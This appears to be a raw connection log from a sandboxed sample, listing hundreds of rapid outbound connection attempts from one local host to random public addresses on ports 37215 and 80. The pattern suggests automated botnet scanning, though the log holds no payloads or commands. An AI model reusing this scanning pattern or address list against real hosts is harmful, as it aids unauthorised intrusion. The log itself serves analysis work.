Jan 5, 2025 14:34:54.055555105 CET	29479	37215	192.168.2.13	156.156.87.191
Jan 5, 2025 14:34:54.055565119 CET	29479	37215	192.168.2.13	197.103.119.38
Jan 5, 2025 14:34:54.055581093 CET	29479	37215	192.168.2.13	197.239.201.61
Jan 5, 2025 14:34:54.055565119 CET	29479	37215	192.168.2.13	41.111.213.144
Jan 5, 2025 14:34:54.055555105 CET	29479	37215	192.168.2.13	156.99.187.44
Jan 5, 2025 14:34:54.055562973 CET	29477	80	192.168.2.13	147.180.119.124
Jan 5, 2025 14:34:54.055565119 CET	29479	37215	192.168.2.13	197.184.77.173
Jan 5, 2025 14:34:54.055555105 CET	29479	37215	192.168.2.13	197.212.162.169
Jan 5, 2025 14:34:54.055581093 CET	29477	80	192.168.2.13	32.136.227.61
Jan 5, 2025 14:34:54.055586100 CET	29477	80	192.168.2.13	219.67.188.102
Jan 5, 2025 14:34:54.055541039 CET	29477	80	192.168.2.13	85.58.189.41
Jan 5, 2025 14:34:54.055562973 CET	29479	37215	192.168.2.13	41.89.174.221
Jan 5, 2025 14:34:54.055566072 CET	29477	80	192.168.2.13	38.28.46.165
Jan 5, 2025 14:34:54.055562973 CET	29479	37215	192.168.2.13	197.214.191.40
Jan 5, 2025 14:34:54.055565119 CET	29477	80	192.168.2.13	42.17.211.179
Jan 5, 2025 14:34:54.055576086 CET	29479	37215	192.168.2.13	197.74.75.169
Jan 5, 2025 14:34:54.055565119 CET	29477	80	192.168.2.13	178.45.163.135
Jan 5, 2025 14:34:54.055576086 CET	29479	37215	192.168.2.13	41.218.176.83
Jan 5, 2025 14:34:54.055562973 CET	29477	80	192.168.2.13	20.36.254.208
Jan 5, 2025 14:34:54.055581093 CET	29477	80	192.168.2.13	187.53.144.21
Jan 5, 2025 14:34:54.055562973 CET	29479	37215	192.168.2.13	197.42.177.186
Jan 5, 2025 14:34:54.055586100 CET	29479	37215	192.168.2.13	156.252.221.197
Jan 5, 2025 14:34:54.055562973 CET	29477	80	192.168.2.13	36.52.145.27
Jan 5, 2025 14:34:54.055586100 CET	29479	37215	192.168.2.13	41.186.179.37
Jan 5, 2025 14:34:54.055576086 CET	29477	80	192.168.2.13	67.142.3.39
Jan 5, 2025 14:34:54.055607080 CET	29479	37215	192.168.2.13	197.149.2.199
Jan 5, 2025 14:34:54.055581093 CET	29477	80	192.168.2.13	12.154.111.242
Jan 5, 2025 14:34:54.055562973 CET	29477	80	192.168.2.13	38.91.46.114
Jan 5, 2025 14:34:54.055609941 CET	29479	37215	192.168.2.13	41.55.139.237
Jan 5, 2025 14:34:54.055609941 CET	29477	80	192.168.2.13	164.98.163.125
Jan 5, 2025 14:34:54.055607080 CET	29479	37215	192.168.2.13	156.120.128.222
Jan 5, 2025 14:34:54.055609941 CET	29479	37215	192.168.2.13	41.56.252.112
Jan 5, 2025 14:34:54.055581093 CET	29479	37215	192.168.2.13	197.162.51.18
Jan 5, 2025 14:34:54.055607080 CET	29477	80	192.168.2.13	51.111.101.251
Jan 5, 2025 14:34:54.055576086 CET	29479	37215	192.168.2.13	156.251.239.127
Jan 5, 2025 14:34:54.055586100 CET	29477	80	192.168.2.13	136.163.34.52
Jan 5, 2025 14:34:54.055607080 CET	29479	37215	192.168.2.13	197.157.141.2
Jan 5, 2025 14:34:54.055586100 CET	29479	37215	192.168.2.13	41.6.225.210
Jan 5, 2025 14:34:54.055566072 CET	29477	80	192.168.2.13	111.84.232.36
Jan 5, 2025 14:34:54.055609941 CET	29477	80	192.168.2.13	150.114.110.80
Jan 5, 2025 14:34:54.055607080 CET	29477	80	192.168.2.13	19.10.156.68
Jan 5, 2025 14:34:54.055619001 CET	29477	80	192.168.2.13	183.93.43.5
Jan 5, 2025 14:34:54.055607080 CET	29479	37215	192.168.2.13	156.106.114.38
Jan 5, 2025 14:34:54.055566072 CET	29479	37215	192.168.2.13	156.222.150.1
Jan 5, 2025 14:34:54.055607080 CET	29479	37215	192.168.2.13	156.192.17.35
Jan 5, 2025 14:34:54.055619001 CET	29479	37215	192.168.2.13	41.169.105.66
Jan 5, 2025 14:34:54.055587053 CET	29477	80	192.168.2.13	51.201.170.62
Jan 5, 2025 14:34:54.055576086 CET	29477	80	192.168.2.13	98.205.11.156
Jan 5, 2025 14:34:54.055566072 CET	29479	37215	192.168.2.13	41.132.207.8
Jan 5, 2025 14:34:54.055607080 CET	29477	80	192.168.2.13	202.6.38.237
Jan 5, 2025 14:34:54.055587053 CET	29479	37215	192.168.2.13	41.58.116.70
Jan 5, 2025 14:34:54.055581093 CET	29479	37215	192.168.2.13	41.182.247.35
Jan 5, 2025 14:34:54.055607080 CET	29477	80	192.168.2.13	180.242.121.4
Jan 5, 2025 14:34:54.055619001 CET	29479	37215	192.168.2.13	41.21.115.117
Jan 5, 2025 14:34:54.055607080 CET	29479	37215	192.168.2.13	41.91.31.27
Jan 5, 2025 14:34:54.055587053 CET	29477	80	192.168.2.13	65.17.94.182
Jan 5, 2025 14:34:54.055619001 CET	29479	37215	192.168.2.13	41.168.123.105
Jan 5, 2025 14:34:54.055607080 CET	29477	80	192.168.2.13	93.101.250.250
Jan 5, 2025 14:34:54.055609941 CET	29477	80	192.168.2.13	87.111.156.61
Jan 5, 2025 14:34:54.055581093 CET	29479	37215	192.168.2.13	156.43.100.159
Jan 5, 2025 14:34:54.055610895 CET	29479	37215	192.168.2.13	197.119.88.61
Jan 5, 2025 14:34:54.055607080 CET	29477	80	192.168.2.13	96.243.181.95
Jan 5, 2025 14:34:54.055638075 CET	29477	80	192.168.2.13	80.107.158.189
Jan 5, 2025 14:34:54.055635929 CET	29479	37215	192.168.2.13	156.107.150.97
Jan 5, 2025 14:34:54.055638075 CET	29477	80	192.168.2.13	217.15.78.64
Jan 5, 2025 14:34:54.055635929 CET	29479	37215	192.168.2.13	197.148.87.75
Jan 5, 2025 14:34:54.055641890 CET	29477	80	192.168.2.13	32.30.129.23
Jan 5, 2025 14:34:54.055607080 CET	29479	37215	192.168.2.13	197.205.135.25
Jan 5, 2025 14:34:54.055635929 CET	29477	80	192.168.2.13	208.148.85.215
Jan 5, 2025 14:34:54.055607080 CET	29477	80	192.168.2.13	24.50.36.164
Jan 5, 2025 14:34:54.055610895 CET	29477	80	192.168.2.13	119.180.72.2
Jan 5, 2025 14:34:54.055607080 CET	29477	80	192.168.2.13	73.228.20.101
Jan 5, 2025 14:34:54.055619955 CET	29479	37215	192.168.2.13	197.85.58.224
Jan 5, 2025 14:34:54.055610895 CET	29477	80	192.168.2.13	19.69.94.182
Jan 5, 2025 14:34:54.055635929 CET	29477	80	192.168.2.13	38.204.65.172
Jan 5, 2025 14:34:54.055646896 CET	29477	80	192.168.2.13	171.208.44.146
Jan 5, 2025 14:34:54.055619955 CET	29477	80	192.168.2.13	165.186.220.107
Jan 5, 2025 14:34:54.055607080 CET	29479	37215	192.168.2.13	197.231.129.196
Jan 5, 2025 14:34:54.055638075 CET	29477	80	192.168.2.13	168.60.88.225
Jan 5, 2025 14:34:54.055635929 CET	29479	37215	192.168.2.13	41.241.62.214
Jan 5, 2025 14:34:54.055646896 CET	29479	37215	192.168.2.13	41.230.70.84
Jan 5, 2025 14:34:54.055638075 CET	29479	37215	192.168.2.13	41.19.30.3
Jan 5, 2025 14:34:54.055635929 CET	29479	37215	192.168.2.13	41.91.179.203
Jan 5, 2025 14:34:54.055646896 CET	29477	80	192.168.2.13	200.59.13.68
Jan 5, 2025 14:34:54.055619955 CET	29477	80	192.168.2.13	222.108.47.150
Jan 5, 2025 14:34:54.055646896 CET	29477	80	192.168.2.13	146.195.62.52
Jan 5, 2025 14:34:54.055635929 CET	29477	80	192.168.2.13	202.239.35.46
Jan 5, 2025 14:34:54.055658102 CET	29477	80	192.168.2.13	205.213.45.207
Jan 5, 2025 14:34:54.055646896 CET	29477	80	192.168.2.13	1.57.2.72
Jan 5, 2025 14:34:54.055658102 CET	29477	80	192.168.2.13	222.72.143.60
Jan 5, 2025 14:34:54.055658102 CET	29479	37215	192.168.2.13	197.55.251.44
Jan 5, 2025 14:34:54.055646896 CET	29477	80	192.168.2.13	165.167.174.116
Jan 5, 2025 14:34:54.055635929 CET	29479	37215	192.168.2.13	197.186.160.78
Jan 5, 2025 14:34:54.055639029 CET	29479	37215	192.168.2.13	197.249.221.33
Jan 5, 2025 14:34:54.055661917 CET	29479	37215	192.168.2.13	197.128.173.219
Jan 5, 2025 14:34:54.055639029 CET	29479	37215	192.168.2.13	41.181.240.217
Jan 5, 2025 14:34:54.055661917 CET	29477	80	192.168.2.13	142.132.178.97
Jan 5, 2025 14:34:54.055641890 CET	29477	80	192.168.2.13	173.160.229.11
Jan 5, 2025 14:34:54.055661917 CET	29479	37215	192.168.2.13	156.129.162.254
Jan 5, 2025 14:34:54.055658102 CET	29479	37215	192.168.2.13	197.176.135.77
Jan 5, 2025 14:34:54.055661917 CET	29477	80	192.168.2.13	144.29.0.189
Jan 5, 2025 14:34:54.055641890 CET	29479	37215	192.168.2.13	156.207.63.223
Jan 5, 2025 14:34:54.055661917 CET	29479	37215	192.168.2.13	156.113.39.171
Jan 5, 2025 14:34:54.055646896 CET	29477	80	192.168.2.13	62.231.98.43
Jan 5, 2025 14:34:54.055619955 CET	29479	37215	192.168.2.13	197.148.255.69
Jan 5, 2025 14:34:54.055658102 CET	29479	37215	192.168.2.13	41.183.223.73
Jan 5, 2025 14:34:54.055658102 CET	29479	37215	192.168.2.13	197.80.152.139
Jan 5, 2025 14:34:54.055658102 CET	29477	80	192.168.2.13	155.137.26.88
Jan 5, 2025 14:34:54.055646896 CET	29479	37215	192.168.2.13	197.222.154.105
Jan 5, 2025 14:34:54.055661917 CET	29477	80	192.168.2.13	103.12.227.251
Jan 5, 2025 14:34:54.055672884 CET	29479	37215	192.168.2.13	197.167.163.137
Jan 5, 2025 14:34:54.055641890 CET	29479	37215	192.168.2.13	197.235.4.241
Jan 5, 2025 14:34:54.055672884 CET	29479	37215	192.168.2.13	41.65.91.210
Jan 5, 2025 14:34:54.055639029 CET	29477	80	192.168.2.13	120.174.217.22
Jan 5, 2025 14:34:54.055672884 CET	29477	80	192.168.2.13	126.195.253.66
Jan 5, 2025 14:34:54.055641890 CET	29479	37215	192.168.2.13	156.192.140.18
Jan 5, 2025 14:34:54.055672884 CET	29477	80	192.168.2.13	153.144.126.90
Jan 5, 2025 14:34:54.055641890 CET	29479	37215	192.168.2.13	41.155.218.118
Jan 5, 2025 14:34:54.055639029 CET	29479	37215	192.168.2.13	156.44.152.23
Jan 5, 2025 14:34:54.055661917 CET	29479	37215	192.168.2.13	41.151.216.18
Jan 5, 2025 14:34:54.055672884 CET	29479	37215	192.168.2.13	156.116.80.193
Jan 5, 2025 14:34:54.055641890 CET	29477	80	192.168.2.13	208.42.17.153
Jan 5, 2025 14:34:54.055672884 CET	29479	37215	192.168.2.13	156.52.122.164
Jan 5, 2025 14:34:54.055680990 CET	29479	37215	192.168.2.13	41.22.132.93
Jan 5, 2025 14:34:54.055684090 CET	29479	37215	192.168.2.13	156.48.211.200
Jan 5, 2025 14:34:54.055658102 CET	29479	37215	192.168.2.13	156.206.96.176
Jan 5, 2025 14:34:54.055661917 CET	29477	80	192.168.2.13	210.51.64.250
Jan 5, 2025 14:34:54.055684090 CET	29479	37215	192.168.2.13	197.208.24.34
Jan 5, 2025 14:34:54.055680990 CET	29477	80	192.168.2.13	131.142.126.214
Jan 5, 2025 14:34:54.055658102 CET	29477	80	192.168.2.13	18.32.44.112
Jan 5, 2025 14:34:54.055684090 CET	29477	80	192.168.2.13	206.44.3.26
Jan 5, 2025 14:34:54.055658102 CET	29477	80	192.168.2.13	114.76.163.49
Jan 5, 2025 14:34:54.055684090 CET	29479	37215	192.168.2.13	156.148.79.184
Jan 5, 2025 14:34:54.055680990 CET	29477	80	192.168.2.13	187.64.95.30
Jan 5, 2025 14:34:54.055658102 CET	29477	80	192.168.2.13	152.59.8.193
Jan 5, 2025 14:34:54.055680990 CET	29477	80	192.168.2.13	135.233.4.190
Jan 5, 2025 14:34:54.055658102 CET	29479	37215	192.168.2.13	156.220.132.48
Jan 5, 2025 14:34:54.055658102 CET	29479	37215	192.168.2.13	156.99.148.255
Jan 5, 2025 14:34:54.055691957 CET	29479	37215	192.168.2.13	156.24.89.34
Jan 5, 2025 14:34:54.055641890 CET	29477	80	192.168.2.13	82.97.133.73
Jan 5, 2025 14:34:54.055672884 CET	29479	37215	192.168.2.13	197.169.65.195
Jan 5, 2025 14:34:54.055691957 CET	29479	37215	192.168.2.13	41.93.220.149
Jan 5, 2025 14:34:54.055680990 CET	29477	80	192.168.2.13	32.31.177.148
Jan 5, 2025 14:34:54.055684090 CET	29477	80	192.168.2.13	139.47.51.16
Jan 5, 2025 14:34:54.055658102 CET	29479	37215	192.168.2.13	41.226.95.208
Jan 5, 2025 14:34:54.055658102 CET	29479	37215	192.168.2.13	156.36.35.189
Jan 5, 2025 14:34:54.055684090 CET	29479	37215	192.168.2.13	197.73.187.125
Jan 5, 2025 14:34:54.055680990 CET	29479	37215	192.168.2.13	41.121.153.141
Jan 5, 2025 14:34:54.055658102 CET	29479	37215	192.168.2.13	197.35.146.175
Jan 5, 2025 14:34:54.055691957 CET	29477	80	192.168.2.13	143.222.136.101
Jan 5, 2025 14:34:54.055696964 CET	29477	80	192.168.2.13	70.208.251.16
Jan 5, 2025 14:34:54.055684090 CET	29479	37215	192.168.2.13	41.28.50.237
Jan 5, 2025 14:34:54.055680990 CET	29477	80	192.168.2.13	216.231.76.236
Jan 5, 2025 14:34:54.055684090 CET	29479	37215	192.168.2.13	41.207.150.201
Jan 5, 2025 14:34:54.055708885 CET	29477	80	192.168.2.13	140.21.164.227
Jan 5, 2025 14:34:54.055672884 CET	29477	80	192.168.2.13	61.59.237.98
Jan 5, 2025 14:34:54.055680990 CET	29477	80	192.168.2.13	83.154.212.108
Jan 5, 2025 14:34:54.055708885 CET	29479	37215	192.168.2.13	197.117.81.59
Jan 5, 2025 14:34:54.055711985 CET	29479	37215	192.168.2.13	156.1.119.151
Jan 5, 2025 14:34:54.055708885 CET	29479	37215	192.168.2.13	41.167.221.227
Jan 5, 2025 14:34:54.055711985 CET	29477	80	192.168.2.13	94.69.36.144
Jan 5, 2025 14:34:54.055708885 CET	29477	80	192.168.2.13	95.17.95.146
Jan 5, 2025 14:34:54.055691957 CET	29477	80	192.168.2.13	201.192.181.205
Jan 5, 2025 14:34:54.055708885 CET	29477	80	192.168.2.13	9.20.69.1
Jan 5, 2025 14:34:54.055696964 CET	29479	37215	192.168.2.13	197.167.41.180
Jan 5, 2025 14:34:54.055711985 CET	29477	80	192.168.2.13	169.25.203.151
Jan 5, 2025 14:34:54.055708885 CET	29479	37215	192.168.2.13	156.233.196.80
Jan 5, 2025 14:34:54.055691957 CET	29479	37215	192.168.2.13	41.248.246.115
Jan 5, 2025 14:34:54.055708885 CET	29477	80	192.168.2.13	97.160.119.232
Jan 5, 2025 14:34:54.055711985 CET	29477	80	192.168.2.13	189.226.215.77
Jan 5, 2025 14:34:54.055696964 CET	29479	37215	192.168.2.13	41.123.104.77
Jan 5, 2025 14:34:54.055721045 CET	29479	37215	192.168.2.13	197.45.210.112
Jan 5, 2025 14:34:54.055708885 CET	29477	80	192.168.2.13	205.183.138.106
Jan 5, 2025 14:34:54.055725098 CET	29477	80	192.168.2.13	75.171.144.102
Jan 5, 2025 14:34:54.055725098 CET	29479	37215	192.168.2.13	156.64.134.166
Jan 5, 2025 14:34:54.055721045 CET	29479	37215	192.168.2.13	156.56.95.96
Jan 5, 2025 14:34:54.055725098 CET	29477	80	192.168.2.13	191.21.0.80
Jan 5, 2025 14:34:54.055721045 CET	29479	37215	192.168.2.13	41.152.139.240
Jan 5, 2025 14:34:54.055725098 CET	29477	80	192.168.2.13	104.197.133.166
Jan 5, 2025 14:34:54.055723906 CET	29479	37215	192.168.2.13	41.37.195.33
Jan 5, 2025 14:34:54.055696964 CET	29479	37215	192.168.2.13	156.166.20.41
Jan 5, 2025 14:34:54.055725098 CET	29479	37215	192.168.2.13	156.161.33.198
Jan 5, 2025 14:34:54.055691957 CET	29477	80	192.168.2.13	108.51.80.244
Jan 5, 2025 14:34:54.055725098 CET	29477	80	192.168.2.13	134.238.180.108
Jan 5, 2025 14:34:54.055696964 CET	29477	80	192.168.2.13	14.120.58.253
Jan 5, 2025 14:34:54.055725098 CET	29479	37215	192.168.2.13	156.237.135.145
Jan 5, 2025 14:34:54.055735111 CET	29477	80	192.168.2.13	95.78.239.18
Jan 5, 2025 14:34:54.055696964 CET	29477	80	192.168.2.13	19.33.248.105
Jan 5, 2025 14:34:54.055725098 CET	29477	80	192.168.2.13	83.76.139.97
Jan 5, 2025 14:34:54.055711985 CET	29479	37215	192.168.2.13	197.137.45.64
Jan 5, 2025 14:34:54.055723906 CET	29479	37215	192.168.2.13	156.65.209.189
Jan 5, 2025 14:34:54.055725098 CET	29477	80	192.168.2.13	87.188.89.227
Jan 5, 2025 14:34:54.055711985 CET	29479	37215	192.168.2.13	41.32.144.202
Jan 5, 2025 14:34:54.055691957 CET	29477	80	192.168.2.13	63.84.47.201
Jan 5, 2025 14:34:54.055697918 CET	29477	80	192.168.2.13	66.118.196.121
Jan 5, 2025 14:34:54.055725098 CET	29477	80	192.168.2.13	31.100.250.80
Jan 5, 2025 14:34:54.055711985 CET	29479	37215	192.168.2.13	156.61.76.96
Jan 5, 2025 14:34:54.055725098 CET	29479	37215	192.168.2.13	41.23.209.128
Jan 5, 2025 14:34:54.055735111 CET	29477	80	192.168.2.13	12.191.177.51
Jan 5, 2025 14:34:54.055691957 CET	29477	80	192.168.2.13	45.12.244.107
Jan 5, 2025 14:34:54.055723906 CET	29479	37215	192.168.2.13	156.111.114.96
Jan 5, 2025 14:34:54.055725098 CET	29479	37215	192.168.2.13	41.183.22.177
Jan 5, 2025 14:34:54.055697918 CET	29479	37215	192.168.2.13	156.70.61.248
Jan 5, 2025 14:34:54.055735111 CET	29479	37215	192.168.2.13	41.72.93.38
Jan 5, 2025 14:34:54.055711985 CET	29477	80	192.168.2.13	109.136.13.153
Jan 5, 2025 14:34:54.055723906 CET	29479	37215	192.168.2.13	197.101.229.86
Jan 5, 2025 14:34:54.055725098 CET	29479	37215	192.168.2.13	41.173.228.5
Jan 5, 2025 14:34:54.055735111 CET	29479	37215	192.168.2.13	41.157.192.239
Jan 5, 2025 14:34:54.055725098 CET	29479	37215	192.168.2.13	41.125.161.187
Jan 5, 2025 14:34:54.055723906 CET	29479	37215	192.168.2.13	41.41.235.54
Jan 5, 2025 14:34:54.055735111 CET	29479	37215	192.168.2.13	197.77.222.121
Jan 5, 2025 14:34:54.055723906 CET	29479	37215	192.168.2.13	156.190.159.242
Jan 5, 2025 14:34:54.055753946 CET	29479	37215	192.168.2.13	41.179.104.9
Jan 5, 2025 14:34:54.055725098 CET	29479	37215	192.168.2.13	156.247.171.116
Jan 5, 2025 14:34:54.055735111 CET	29477	80	192.168.2.13	42.53.48.145
Jan 5, 2025 14:34:54.055753946 CET	29477	80	192.168.2.13	64.232.57.71
Jan 5, 2025 14:34:54.055725098 CET	29479	37215	192.168.2.13	156.101.31.24
Jan 5, 2025 14:34:54.055753946 CET	29479	37215	192.168.2.13	156.68.14.144
Jan 5, 2025 14:34:54.055725098 CET	29477	80	192.168.2.13	125.68.202.253
Jan 5, 2025 14:34:54.055725098 CET	29477	80	192.168.2.13	91.67.142.148
Jan 5, 2025 14:34:54.055762053 CET	29479	37215	192.168.2.13	41.5.166.72
Jan 5, 2025 14:34:54.055759907 CET	29479	37215	192.168.2.13	41.158.142.211
Jan 5, 2025 14:34:54.055735111 CET	29477	80	192.168.2.13	217.128.20.47
Jan 5, 2025 14:34:54.055762053 CET	29477	80	192.168.2.13	179.117.160.164
Jan 5, 2025 14:34:54.055735111 CET	29477	80	192.168.2.13	123.20.108.26
Jan 5, 2025 14:34:54.055759907 CET	29479	37215	192.168.2.13	197.64.147.128
Jan 5, 2025 14:34:54.055762053 CET	29477	80	192.168.2.13	182.85.246.144
Jan 5, 2025 14:34:54.055759907 CET	29477	80	192.168.2.13	70.159.88.194
Jan 5, 2025 14:34:54.055753946 CET	29477	80	192.168.2.13	139.35.20.177
Jan 5, 2025 14:34:54.055762053 CET	29479	37215	192.168.2.13	41.8.181.235
Jan 5, 2025 14:34:54.055762053 CET	29477	80	192.168.2.13	103.202.25.184
Jan 5, 2025 14:34:54.055759907 CET	29479	37215	192.168.2.13	41.233.183.149
Jan 5, 2025 14:34:54.055771112 CET	29479	37215	192.168.2.13	197.75.48.81
Jan 5, 2025 14:34:54.055762053 CET	29477	80	192.168.2.13	138.179.23.70
Jan 5, 2025 14:34:54.055771112 CET	29479	37215	192.168.2.13	156.17.228.76
Jan 5, 2025 14:34:54.055759907 CET	29477	80	192.168.2.13	205.132.102.145
Jan 5, 2025 14:34:54.055762053 CET	29479	37215	192.168.2.13	156.195.39.121
Jan 5, 2025 14:34:54.055775881 CET	29477	80	192.168.2.13	20.84.109.92
Jan 5, 2025 14:34:54.055771112 CET	29479	37215	192.168.2.13	41.178.51.179
Jan 5, 2025 14:34:54.055762053 CET	29479	37215	192.168.2.13	197.245.24.203
Jan 5, 2025 14:34:54.055771112 CET	29479	37215	192.168.2.13	197.244.135.196
Jan 5, 2025 14:34:54.055775881 CET	29479	37215	192.168.2.13	41.255.10.62
Jan 5, 2025 14:34:54.055753946 CET	29479	37215	192.168.2.13	156.214.100.18
Jan 5, 2025 14:34:54.055763006 CET	29477	80	192.168.2.13	172.70.17.24
Jan 5, 2025 14:34:54.055762053 CET	29477	80	192.168.2.13	112.116.172.153
Jan 5, 2025 14:34:54.055771112 CET	29479	37215	192.168.2.13	156.213.206.11
Jan 5, 2025 14:34:54.055761099 CET	29477	80	192.168.2.13	161.101.140.65
Jan 5, 2025 14:34:54.055775881 CET	29477	80	192.168.2.13	223.148.233.78
Jan 5, 2025 14:34:54.055753946 CET	29479	37215	192.168.2.13	197.238.167.207
Jan 5, 2025 14:34:54.055762053 CET	29479	37215	192.168.2.13	156.216.216.113
Jan 5, 2025 14:34:54.055771112 CET	29479	37215	192.168.2.13	197.109.165.11
Jan 5, 2025 14:34:54.055771112 CET	29477	80	192.168.2.13	123.159.221.93
Jan 5, 2025 14:34:54.055771112 CET	29477	80	192.168.2.13	191.124.104.85
Jan 5, 2025 14:34:54.055771112 CET	29477	80	192.168.2.13	73.18.231.248
Jan 5, 2025 14:34:54.055771112 CET	29479	37215	192.168.2.13	197.63.159.125
Jan 5, 2025 14:34:54.055762053 CET	29479	37215	192.168.2.13	197.158.213.114
Jan 5, 2025 14:34:54.055771112 CET	29479	37215	192.168.2.13	41.160.125.193
Jan 5, 2025 14:34:54.055761099 CET	29479	37215	192.168.2.13	156.226.25.193
Jan 5, 2025 14:34:54.055772066 CET	29479	37215	192.168.2.13	197.5.41.91
Jan 5, 2025 14:34:54.055763006 CET	29479	37215	192.168.2.13	41.44.107.203
Jan 5, 2025 14:34:54.055775881 CET	29479	37215	192.168.2.13	197.183.0.109
Jan 5, 2025 14:34:54.055763006 CET	29479	37215	192.168.2.13	197.201.7.130
Jan 5, 2025 14:34:54.055761099 CET	29479	37215	192.168.2.13	197.191.179.20
Jan 5, 2025 14:34:54.055762053 CET	29479	37215	192.168.2.13	197.167.30.128
Jan 5, 2025 14:34:54.055771112 CET	29477	80	192.168.2.13	46.177.246.180
Jan 5, 2025 14:34:54.055753946 CET	29477	80	192.168.2.13	162.26.248.200
Jan 5, 2025 14:34:54.055763006 CET	29479	37215	192.168.2.13	41.205.158.39
Jan 5, 2025 14:34:54.055771112 CET	29479	37215	192.168.2.13	156.164.237.242
Jan 5, 2025 14:34:54.055775881 CET	29479	37215	192.168.2.13	156.28.100.186
Jan 5, 2025 14:34:54.055753946 CET	29479	37215	192.168.2.13	197.37.142.44
Jan 5, 2025 14:34:54.055771112 CET	29479	37215	192.168.2.13	156.204.138.237
Jan 5, 2025 14:34:54.055775881 CET	29479	37215	192.168.2.13	197.177.105.40
Jan 5, 2025 14:34:54.055771112 CET	29479	37215	192.168.2.13	41.216.241.196
Jan 5, 2025 14:34:54.055775881 CET	29479	37215	192.168.2.13	197.114.122.80
Jan 5, 2025 14:34:54.055775881 CET	29479	37215	192.168.2.13	41.36.219.96
Jan 5, 2025 14:34:54.055809021 CET	29477	80	192.168.2.13	1.249.28.19
Jan 5, 2025 14:34:54.055809021 CET	29477	80	192.168.2.13	140.243.9.185
Jan 5, 2025 14:34:54.055809021 CET	29477	80	192.168.2.13	9.250.240.166
Jan 5, 2025 14:34:54.055809975 CET	29479	37215	192.168.2.13	41.158.168.121
Jan 5, 2025 14:34:54.055809975 CET	29477	80	192.168.2.13	70.51.98.36
Jan 5, 2025 14:34:54.055809975 CET	29477	80	192.168.2.13	91.101.83.231
Jan 5, 2025 14:34:54.055810928 CET	36922	80	192.168.2.13	166.179.233.91
Jan 5, 2025 14:34:54.055809975 CET	29479	37215	192.168.2.13	41.25.64.77
Jan 5, 2025 14:34:54.055813074 CET	29479	37215	192.168.2.13	41.44.96.170
Jan 5, 2025 14:34:54.055810928 CET	36922	80	192.168.2.13	166.179.233.91
Jan 5, 2025 14:34:54.055813074 CET	29479	37215	192.168.2.13	197.108.241.150
Jan 5, 2025 14:34:54.055809975 CET	29479	37215	192.168.2.13	197.23.83.49
Jan 5, 2025 14:34:54.055813074 CET	29479	37215	192.168.2.13	41.218.122.13
Jan 5, 2025 14:34:54.055813074 CET	29479	37215	192.168.2.13	41.166.147.202
Jan 5, 2025 14:34:54.055813074 CET	29479	37215	192.168.2.13	41.143.91.230
Jan 5, 2025 14:34:54.055813074 CET	29479	37215	192.168.2.13	41.92.60.242
Jan 5, 2025 14:34:54.055816889 CET	29477	80	192.168.2.13	160.48.105.95
Jan 5, 2025 14:34:54.055813074 CET	29479	37215	192.168.2.13	197.131.181.226
Jan 5, 2025 14:34:54.055816889 CET	29479	37215	192.168.2.13	156.52.32.141
Jan 5, 2025 14:34:54.055819035 CET	29477	80	192.168.2.13	170.207.145.89
Jan 5, 2025 14:34:54.055816889 CET	29479	37215	192.168.2.13	41.175.183.135
Jan 5, 2025 14:34:54.055819035 CET	29479	37215	192.168.2.13	156.96.243.83
Jan 5, 2025 14:34:54.055816889 CET	29479	37215	192.168.2.13	156.194.214.8
Jan 5, 2025 14:34:54.055819035 CET	29479	37215	192.168.2.13	197.218.157.47
Jan 5, 2025 14:34:54.055816889 CET	29477	80	192.168.2.13	201.190.46.155
Jan 5, 2025 14:34:54.055819035 CET	59016	37215	192.168.2.13	156.195.220.109
Jan 5, 2025 14:34:54.055820942 CET	29479	37215	192.168.2.13	41.154.49.95
Jan 5, 2025 14:34:54.055816889 CET	29477	80	192.168.2.13	205.37.196.158
Jan 5, 2025 14:34:54.055819035 CET	59016	37215	192.168.2.13	156.195.220.109
Jan 5, 2025 14:34:54.055816889 CET	29477	80	192.168.2.13	170.28.84.224
Jan 5, 2025 14:34:54.055816889 CET	29477	80	192.168.2.13	64.159.34.242
Jan 5, 2025 14:34:54.055824995 CET	29479	37215	192.168.2.13	156.90.4.66
Jan 5, 2025 14:34:54.055824995 CET	29477	80	192.168.2.13	129.141.182.43
Jan 5, 2025 14:34:54.055824995 CET	29477	80	192.168.2.13	49.111.59.55
Jan 5, 2025 14:34:54.055824995 CET	29477	80	192.168.2.13	156.46.217.150
Jan 5, 2025 14:34:54.055824995 CET	29479	37215	192.168.2.13	156.218.44.149
Jan 5, 2025 14:34:54.055824995 CET	29479	37215	192.168.2.13	41.36.236.220
Jan 5, 2025 14:34:54.055834055 CET	29479	37215	192.168.2.13	197.125.202.3
Jan 5, 2025 14:34:54.055834055 CET	29479	37215	192.168.2.13	41.242.67.93
Jan 5, 2025 14:34:54.055834055 CET	29477	80	192.168.2.13	87.255.230.83
Jan 5, 2025 14:34:54.055834055 CET	29479	37215	192.168.2.13	41.217.82.59
Jan 5, 2025 14:34:54.055834055 CET	29479	37215	192.168.2.13	156.142.132.21
Jan 5, 2025 14:34:54.055834055 CET	29479	37215	192.168.2.13	41.140.132.42
Jan 5, 2025 14:34:54.055834055 CET	29479	37215	192.168.2.13	156.244.98.46
Jan 5, 2025 14:34:54.055838108 CET	29477	80	192.168.2.13	39.43.5.178
Jan 5, 2025 14:34:54.055839062 CET	29477	80	192.168.2.13	163.115.249.237
Jan 5, 2025 14:34:54.055839062 CET	29479	37215	192.168.2.13	197.14.214.119
Jan 5, 2025 14:34:54.055839062 CET	29479	37215	192.168.2.13	156.245.88.225
Jan 5, 2025 14:34:54.055839062 CET	29479	37215	192.168.2.13	41.147.162.109
Jan 5, 2025 14:34:54.056583881 CET	37412	80	192.168.2.13	166.179.233.91
Jan 5, 2025 14:34:54.056720972 CET	59512	37215	192.168.2.13	156.195.220.109
Jan 5, 2025 14:34:54.057523966 CET	41778	80	192.168.2.13	120.75.215.22
Jan 5, 2025 14:34:54.057523966 CET	41778	80	192.168.2.13	120.75.215.22
Jan 5, 2025 14:34:54.057733059 CET	54868	37215	192.168.2.13	197.196.5.50
Jan 5, 2025 14:34:54.057733059 CET	54868	37215	192.168.2.13	197.196.5.50
Jan 5, 2025 14:34:54.058394909 CET	42210	80	192.168.2.13	120.75.215.22
Jan 5, 2025 14:34:54.058536053 CET	55324	37215	192.168.2.13	197.196.5.50
Jan 5, 2025 14:34:54.059236050 CET	37260	80	192.168.2.13	143.189.106.192
Jan 5, 2025 14:34:54.059236050 CET	37260	80	192.168.2.13	143.189.106.192
Jan 5, 2025 14:34:54.059432983 CET	44712	37215	192.168.2.13	156.29.43.93
Jan 5, 2025 14:34:54.059463978 CET	44712	37215	192.168.2.13	156.29.43.93
